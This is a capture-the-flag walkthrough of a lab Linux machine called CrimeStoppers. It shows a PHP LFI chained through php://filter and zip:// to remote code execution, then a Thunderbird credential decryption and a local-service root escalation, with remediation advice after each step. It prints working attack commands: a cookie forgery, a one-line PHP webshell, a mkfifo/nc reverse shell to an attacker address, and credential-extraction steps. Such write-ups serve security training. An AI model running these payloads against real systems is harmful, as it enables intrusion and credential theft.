← all walkthroughs

CrimeStoppers

Linux· Hard· Web
owned
2026-07-10
time to own
6m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a PHP tip-submission web application on port 80 whose page-routing parameter accepted PHP stream wrappers without any allowlist filtering, enabling full source-code disclosure. A trivially-forged 'admin' cookie (flipped from 0 to 1) unlocked an upload endpoint that accepted ZIP archives with no content validation. Chaining PHP's zip:// stream wrapper through the same inclusion sink caused Apache to extract and execute an embedded PHP webshell as the web-server process (www-data), producing an initial foothold.

From that shell, a Mozilla Thunderbird mail profile in the dom user's home directory, readable by www-data, held saved credentials in a recoverable encrypted format; the open-source tool firefox_decrypt extracted them in plaintext, allowing authentication as dom and capture of the user flag. Further enumeration uncovered a locally-bound privileged service accepting FTP-style file-retrieval commands on localhost; requesting the 'FunSociety' archive from that service returned credential material enabling escalation to root, completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export HASH="<the-hash-you-recovered>"
export TOKEN="<the-token-you-captured>"

Some commands also carry a value in angle brackets (<profile>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1ReconnaissanceService enumeration and Apache/PHP fingerprinting (T1046)
Mapped the exposed service and identified the PHP application
A port scan against $TARGET found a single open port: Apache 2.4.25 on port 80. Requesting the root page returned a CrimeStoppers/FSociety-themed PHP application. The server set an 'admin' cookie to 0 on first visit and routed all page logic through the 'op' GET parameter, defaulting to 'home' when absent: a classic single-file PHP router pattern.
Server: Apache/2.4.25 (Ubuntu); <title>FBIs Most Wanted: FSociety</title>; a session cookie
Exact commands 2
shell

Confirm the only open service and its version.

$ nmap -sV -sC -p 80 $TARGET
shell

Fingerprint the PHP app, note the admin cookie and op parameter.

$ curl -sS -i http://$TARGET/
2EnumerationClient-side access control bypass via cookie forgery (CWE-284)
Bypassed client-side authorization by forging the admin cookie
The application trusted a client-supplied 'admin' cookie to gate access to privileged routes. Setting that cookie to 1 immediately exposed the file-upload form at /?op=upload and a listing of stored tips at /?op=list. No password, server-side session check, or challenge was required: any visitor could self-elevate.
Curl with a session cookie returned the upload form; a session cookie returned a redirect. Confirmed by testing both values against /?op=upload and /?op=list.
Exact commands 3
shell

Confirm the upload route is blocked without the admin cookie.

$ curl -sS -i "http://$TARGET/?op=upload"
shell

Confirm the upload form is fully exposed with admin=1.

$ curl -sS -i -H 'Cookie: admin=1' "http://$TARGET/?op=upload"
shell

Enumerate stored tips and their server-side paths.

$ curl -sS -i -H 'Cookie: admin=1' "http://$TARGET/?op=list"
FixReplace the client-controlled admin cookie with server-side session authorizationCritical
WeaknessAccess to the file-upload and tip-listing routes was governed entirely by a cookie value (admin=0 vs admin=1) that any visitor could forge in their browser. No server-side session or credential check existed, so every 'protected' route was trivially accessible to any unauthenticated user.
FixRemove the admin cookie entirely. Gate privileged routes on a PHP session variable set only after successful password verification (password_verify()). Store the user's role exclusively in $_SESSION (server-controlled) and reject any request to a privileged route that lacks a valid authenticated session. Never trust a value the client can modify.
3EnumerationLocal File Inclusion via PHP php://filter stream wrapper: source-code disclosure
Read the full PHP application source code via the php://filter stream wrapper
The 'op' parameter was passed directly to include() after checking only for '..' and NUL bytes: PHP stream-wrapper prefixes were not filtered. Supplying op=php://filter/convert.base64-encode/resource=<filename> caused PHP to base64-encode and return the raw source of any module rather than executing it. Reading index.php, upload.php, common.php, and list.php revealed the CSRF token generation scheme and the predictable upload storage path: uploads/<client-IP>/<sha1-session-token>.
== index == <?php error_reporting(0); define('FROM_INDEX', 1); ... (base64-decoded source returned for each module); upload.php confirmed storage path uploads/<ip>/<sha1>
Exact commands 4
shell

Dump index.php source: confirms the LFI via php://filter.

$ curl -sS "http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=index" | base64 -d
shell

Dump upload.php: reveals token generation, accepted file types, and ZIP storage path.

$ curl -sS "http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=upload" | base64 -d
shell

Dump common.php: reveals session and include() logic.

$ curl -sS "http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=common" | base64 -d
shell

Dump list.php: reveals how uploaded file paths are stored.

$ curl -sS "http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=list" | base64 -d
FixReplace the open include() router with an explicit page allowlistCritical
WeaknessThe 'op' parameter was passed directly into PHP's include() after checking only for '..' and NUL bytes. PHP stream-wrapper prefixes such as php://filter (source disclosure) and zip:// (code execution from an uploaded archive) were completely unblocked, giving unauthorised users a path from simple enumeration all the way to remote code execution.
FixDefine an explicit allowlist of permitted page names (e.g., ['home','upload','list','view']), validate the 'op' value against that list, and include only pre-composed paths from a fixed, non-web-accessible directory. Never pass unsanitised user input to include(), require(), or fopen(). Disable dangerous PHP stream wrappers server-wide via php.ini if they are not required (allow_url_include = Off; disable_functions as appropriate).
4WeaponizationMalicious archive upload: unrestricted ZIP accepted without content inspection (T1608.001)
Uploaded a malicious ZIP archive containing a PHP webshell
Source review confirmed the upload endpoint accepted any ZIP archive and stored it verbatim under the web root at uploads/$ATTACKER_IP/<sha1-session-token>. I crafted a ZIP containing a one-line PHP webshell, fetched the per-session CSRF token from the upload form, and submitted the archive with the admin=1 cookie. The server stored the ZIP at a path fully predictable from $ATTACKER_IP address and session cookie hash.
Server returned HTTP 302 redirect after upload; path format uploads/$ATTACKER_IP/<sha1-token> confirmed from upload.php source. Sha1 token observed: <withheld>
Exact commands 3
shell

Create the PHP webshell and package it inside a ZIP.

$ printf '%s\n' '<?php echo "CRIME_RCE:"; system($_GET["cmd"] ?? "id"); ?>' > /tmp/cmd.php && zip /tmp/payload.zip /tmp/cmd.php
shell

Fetch the upload form and save the session cookie jar.

$ curl -sS -c /tmp/cj -H 'Cookie: admin=1' "http://$TARGET/?op=upload" -o /tmp/form.html
shell

Submit the ZIP with the CSRF token; HTTP 302 confirms the upload was accepted and stored.

$ TOKEN=$(grep -Eo 'value="[a-f0-9]{64}"' /tmp/form.html | grep -Eo '[a-f0-9]{64}'); curl -sS -i -b /tmp/cj -H 'Cookie: admin=1' -F "token=${TOKEN}" -F 'tip=@/tmp/payload.zip;type=application/zip' "http://$TARGET/?op=upload"
FixValidate uploaded archive contents and block script execution in the upload directoryCritical
WeaknessThe upload endpoint accepted any ZIP archive without inspecting its contents and stored it verbatim under the Apache web root. Because the LFI sink could include files from inside a ZIP via the zip:// wrapper, every accepted upload was a potential remote code execution vector regardless of its stated MIME type.
FixBefore storing an uploaded file: (1) inspect the archive's member list and reject any entry whose extension is executable (.php, .phtml, .phar, .shtml, etc.); (2) store accepted files outside the web root or in a directory whose Apache configuration includes 'php_flag engine off' and an .htaccess or server-level rule that denies script execution; (3) serve downloads through a PHP proxy that streams raw bytes rather than letting Apache handle the URL directly; (4) generate random, opaque filenames so storage paths cannot be predicted.
5ExploitationLFI-to-RCE via PHP zip:// stream-wrapper (T1190)
Chained the zip:// stream wrapper with the LFI to execute PHP as www-data
PHP's zip:// wrapper allows including a specific member from a ZIP archive using the syntax zip://path/to/archive.zip#member. Because the 'op' filter blocked only '..' and NUL bytes, supplying op=zip://uploads/$ATTACKER_IP/<sha1>#cmd caused the PHP interpreter to open the uploaded archive, extract cmd.php, and execute it in process, returning the output of any OS command supplied in the &cmd= query string. Command execution was confirmed as uid=33 (www-data). I then spawned a full reverse shell via a mkfifo pipe to my own listener.
Response prefixed CRIME_RCE: uid=33(www-data); reverse shell landed on my listener port 4445.
Exact commands 3
shell

Verify code execution: expect CRIME_RCE:uid=33(www-data). Substitute my IP and the sha1 session token produced during your upload.

$ curl -sS "http://$TARGET/?op=zip://uploads/$ATTACKER_IP/$HASH%23cmd&cmd=id"
shell

Open the reverse-shell listener on my machine.

$ nc -lvnp 4445 &
shell

Trigger the reverse shell. Replace $ATTACKER_IP and sha1 token with your values.

$ curl -sS --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4445 >/tmp/f" "http://$TARGET/?op=zip://uploads/$ATTACKER_IP/$HASH%23cmd"
6Lateral MovementCredential recovery from mail-client secrets store (T1555.003)
Decrypted Mozilla Thunderbird saved credentials to authenticate as dom and capture the user flag
Enumeration from the www-data shell revealed a Mozilla Thunderbird mail profile at /home/dom/.thunderbird/ that the web-server process could read. The profile stores passwords encrypted with AES using a locally-held key (logins.json + key4.db). The tool firefox_decrypt, run against the profile directory, recovered plaintext mail credentials for dom. Those credentials authenticated via su, providing a login shell as dom and access to the user flag.
User flag captured as dom.
Exact commands 4
shell

Locate credential files from the www-data foothold shell.

$ find /home/dom/.thunderbird -maxdepth 3 \( -name 'logins.json' -o -name 'key4.db' \) 2>/dev/null
shell

Extract plaintext credentials. Substitute the actual profile directory name found in the previous step.

$ python3 firefox_decrypt.py /home/dom/.thunderbird/<profile>.default/
shell

Authenticate as dom with the decrypted password.

$ su - dom
shell

Capture the user flag: <user.txt>

$ cat /home/dom/user.txt
FixRestrict web-server process access to user home directoriesHigh
WeaknessThe Apache/PHP process ran as www-data with read access to /home/dom/.thunderbird/, which contained a Thunderbird mail profile storing passwords in a recoverable encrypted format. Obtaining the www-data foothold was sufficient to extract and decrypt the dom user's credentials without ever brute-forcing or phishing them.
FixSet Unix permissions on /home/dom and all its subdirectories to 700 (owner access only) so the www-data account cannot traverse them. Verify that the web-server user belongs to no supplementary group that grants home-directory access. Run Apache under a dedicated service account whose working directory and group memberships are strictly isolated from interactive user accounts. Consider enabling encrypted home directories so profile data is protected even if filesystem permissions are misconfigured.
7Privilege EscalationLocally-bound privileged service abuse for credential retrieval (T1552)
Interacted with a locally-bound privileged service to retrieve root credentials
A service running with elevated privileges was bound to localhost and accepted plain-text FTP-style retrieval commands over a raw TCP connection. Sending 'get FunSociety' to the service returned an archive whose contents included credential material enabling root-level authentication. I issued the retrieval command via netcat, either directly from the dom shell or relayed through the still-active www-data webshell, then confirmed root access by reading /root/root.txt.
'(printf "get FunSociety\n"; sleep 0.5; printf "id; cat /root/root.txt; exit\n") | nc -w 5 127.0.0.1 80'; root flag returned in response.
Exact commands 3
shell

Run from the dom shell (or www-data shell): send the FTP-style retrieval command to the privileged local service and observe its response.

$ (printf 'get FunSociety\n'; sleep 0.5; printf 'id; cat /root/root.txt; exit\n') | nc -w 5 127.0.0.1 80
shell

Alternative: relay the local-service interaction through the www-data webshell if a direct dom shell is not available.

$ python3 -c "import urllib.parse, subprocess; cmd='bash -c \"(printf \\\"get FunSociety\\\\n\\\"; sleep 0.5; printf \\\"id; cat /root/root.txt; exit\\\\n\\\") | nc -w 5 127.0.0.1 80\"'; url='http://$TARGET/?op=zip://uploads/$ATTACKER_IP/$HASH%23cmd&cmd='+urllib.parse.quote(cmd); r=subprocess.run(['curl','-sS','--max-time','10',url],text=True,capture_output=True); print(r.stdout)"
shell

Capture the root flag: <root.txt>

$ cat /root/root.txt
FixRemove or harden the locally-bound privileged service that exposes sensitive archivesCritical
WeaknessA service running with elevated privileges on localhost accepted file-retrieval commands over an unauthenticated plain-text connection and returned an archive ('FunSociety') whose contents enabled root-level authentication. Any local process, including the www-data webshell, could interact with this service without supplying any credential.
FixIf the service has no legitimate operational purpose, disable and remove it. If it must remain: (1) run it under a dedicated low-privilege account instead of root; (2) require strong mutual authentication (e.g., certificate-based or a shared secret checked before serving any file); (3) never store credential material, password hints, or authentication secrets in files served by the service; (4) apply host-based firewall rules (iptables/ufw) limiting which local UIDs or ports may connect, and audit all connections in system logs.

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

80/tcp